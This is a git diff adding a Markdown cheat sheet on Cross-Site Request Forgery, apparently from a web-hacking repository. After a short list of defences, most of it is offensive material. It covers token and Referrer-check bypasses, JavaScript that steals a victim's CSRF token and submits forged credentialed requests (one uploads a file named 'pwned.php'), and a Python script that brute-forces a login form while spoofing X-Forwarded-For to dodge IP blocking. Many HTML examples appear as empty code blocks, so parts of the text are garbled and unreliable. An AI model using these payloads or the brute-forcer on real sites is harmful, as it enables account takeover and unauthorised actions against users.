diff --git a/CSRF.md b/CSRF.md new file mode 100644 index 0000000..eb30d40 --- /dev/null +++ b/CSRF.md @@ -0,0 +1,554 @@ +# CSRF (Cross-Site Request Forgery) +Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP + +## Common Defenses +* SameSite cookies +* Cross-origin resource sharing +* Ask for the password user to authorise the action +* Resolve a captcha +* Read the **Referrer** or **Origin** headers + If a regex is used it could be bypassed form example with: + * http://mal.net?orig=http://example.com (ends with the url) + * http://example.com.mal.net (starts with the url) +* Modify the name of the parameters of the **Post** or **Get** request +* Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS. + +## Defences Bypass +### 1. From POST to GET +### 2. Lack of token +Some applications correctly validate the token when it is present but skip the validation if the token is omitted. +### 3. CSRF token is not tied to the user session +### 4. Method bypass +If the request is using a "weird" method, check if the method override functionality is working. +For example, if it's using a `PUT` method you can try to use a `POST` method and send: https://example.com/my/dear/api/val/num?_method=PUT +This could also works sending the `_method` parameter inside the a `POST` request or using the headers: +* `X-HTTP-Method` +* `X-HTTP-Method-Override` +* `X-Method-Override` +### 5. Custom header token bypass +If the request is adding a custom header with a token to the request as CSRF protection method, then: +* Test the request without the Customized Token and also header +* Test the request with exact same length but different token +### 6. CSRF token is verified by a cookie +Some applications duplicate each token within a cookie and a request parameter. Or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie. +* you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example + +```html + + + + +
+ + + +
+ + + + +``` +> Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself. + +### 7. Content-Type change +in order to avoid preflight requests using `POST` method these are the allowed Content-Type values: +* `application/x-www-form-urlencoded` +* `multipart/form-data` +* `text/plain` + +sending JSON data as text/plain +```html + + +
+ +
+ + + + +``` +### 8. Referrer / Origin check bypass +Avoid Referrer header + +```html + + +``` +To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do: +```html + + + + + +
+ + +
+ + + + +``` +## Exploit + +### Exfiltrating CSRF Token +If a CSRF token is being used as defence you could try to exfiltrate it abusing a **XSS** vulnerability or a **Dangling Markup** vulnerability. + +### GET using HTML tags +```html + +

404 - Page not found

+The URL you are requesting is no longer available + +``` +Other HTML5 tags that can be used to **automatically** send a `GET` request are: + +![get](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/0bb0e0ba-2fd5-4d2e-92a0-eec99fc34cec) + +### Form GET request +```html + + + + +
+ + +
+ + + + +``` +### Form POST request +```html + + + +
+ + + +
+ + + + +``` + +### Form POST request through iframe +```html + + + + +
+ + +
+ + + + +``` + +### Ajax POST request +```html + + + + +``` + +### multipart/form-data POST request +```javascript +myFormData = new FormData(); +var blob = new Blob([""], { type: "text/text"}); +myFormData.append("newAttachment", blob, "pwned.php"); +fetch("http://example/some/path", { + method: "post", + body: myFormData, + credentials: "include", + headers: {"Content-Type": "application/x-www-form-urlencoded"}, + mode: "no-cors" +}); + +``` + +### multipart/form-data POST request v2 +```javascript +var fileSize = fileData.length, +boundary = "OWNEDBYOFFSEC", +xhr = new XMLHttpRequest(); +xhr.withCredentials = true; +xhr.open("POST", url, true); +// MIME POST request. +xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); +xhr.setRequestHeader("Content-Length", fileSize); +var body = "--" + boundary + "\r\n"; +body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; +body += "Content-Type: " + ctype + "\r\n\r\n"; +body += fileData + "\r\n"; +body += "--" + boundary + "--"; + +//xhr.send(body); +xhr.sendAsBinary(body); + +``` +### HTML POST - AutoSubmit - No User Interaction +```html +
+ + +
+ + + +``` + +### JSON GET - Simple Request +```html + + +``` + +### JSON POST - Simple Request +```html + + +``` + +### JSON POST - Complex Request +```html + + +``` + + +### Form POST request from within an iframe +```html +<--! expl.html --> + + +
+ +
+ + + + + +

Sitio bajo mantenimiento. Disculpe las molestias

+ +``` + +### Steal CSRF Token and send a POST request +```javascript +function submitFormWithTokenJS(token) { + var xhr = new XMLHttpRequest(); + xhr.open("POST", POST_URL, true); + xhr.withCredentials = true; + + // Send the proper header information along with the request + xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); + + // This is for debugging and can be removed + xhr.onreadystatechange = function() { + if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { + //console.log(xhr.responseText); + } + } + + xhr.send("token=" + token + "&otherparama=heyyyy"); +} + +function getTokenJS() { + var xhr = new XMLHttpRequest(); + // This tels it to return it as a HTML document + xhr.responseType = "document"; + xhr.withCredentials = true; + // true on the end of here makes the call asynchronous + xhr.open("GET", GET_URL, true); + xhr.onload = function (e) { + if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { + // Get the document from the response + page = xhr.response + // Get the input element + input = page.getElementById("token"); + // Show the token + //console.log("The token is: " + input.value); + // Use the token to submit the form + submitFormWithTokenJS(input.value); + } + }; + // Make the request + xhr.send(null); +} + +var GET_URL="http://google.com?param=VALUE" +var POST_URL="http://google.com?param=VALUE" +getTokenJS(); + +``` + +### Steal CSRF Token and send a Post request using an iframe, a form and Ajax +```html +
+ + + +
+ + + + +``` + +### Steal CSRF Token and sen a POST request using an iframe and a form +```html + + + + +``` + +### Steal token and send it using 2 iframes +```html + + + + + + +
+ + + + +
+ +``` + +### POST Steal CSRF token with Ajax and send a post with a form +```html + + +
+ + + + +
+ + + +``` + +### CSRF with Socket.IO +```html + + + +``` + + +## CSRF Login Brute Force +The code can be used to Brut Force a login form using a CSRF token (It's also using the header `X-Forwarded-For` to try to bypass a possible IP blacklisting): +```python +import request +import re +import random + +URL = "http://10.10.10.191/admin/" +PROXY = { "http": "127.0.0.1:8080"} +SESSION_COOKIE_NAME = "BLUDIT-KEY" +USER = "fergus" +PASS_LIST="./words" + +def init_session(): + #Return CSRF + Session (cookie) + r = requests.get(URL) + csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) + csrf = csrf.group(1) + session_cookie = r.cookies.get(SESSION_COOKIE_NAME) + return csrf, session_cookie + +def login(user, password): + print(f"{user}:{password}") + csrf, cookie = init_session() + cookies = {SESSION_COOKIE_NAME: cookie} + data = { + "tokenCSRF": csrf, + "username": user, + "password": password, + "save": "" + } + headers = { + "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" + } + r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) + if "Username or password incorrect" in r.text: + return False + else: + print(f"FOUND {user} : {password}") + return True + +with open(PASS_LIST, "r") as f: + for line in f: + login(USER, line.strip()) + + +``` + +## Tools +* https://github.com/0xInfection/XSRFProbe +* https://github.com/merttasci/csrf-poc-generator + + +## CSRF map +![csrf](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/ae6145d7-73cf-4881-9919-2ebe1a53f2b3) + + + + + + + + + + + + + + + + + +